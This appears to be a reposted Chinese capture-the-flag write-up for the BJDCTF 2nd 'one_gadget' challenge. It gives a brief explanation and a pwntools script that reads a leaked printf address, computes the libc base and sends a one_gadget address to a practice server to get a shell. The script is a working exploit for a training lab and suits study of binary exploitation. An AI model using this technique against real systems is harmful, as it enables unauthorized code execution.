[BJDCTF 2nd]one_gadget


直接輸出了printf的地址

 計算一下libc的基址,然后輸入one_gadget

from pwn import *

#r=process('./one_gadget')
r=remote('node3.buuoj.cn',26604)
libc=ELF('./libc-2.29.so')

r.recvuntil("0x")
print_addr=int(r.recvn(12),16)
print('print_addr:', hex(print_addr))
libc_base=print_addr-libc.symbols['printf']

one_gadget =[0xe237f,0xe2383,0xe2386,0x106ef8]
shell=libc_base+one_gadget[3]

r.recvuntil('Give me your one gadget:')
r.sendline(str(shell))

r.interactive()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM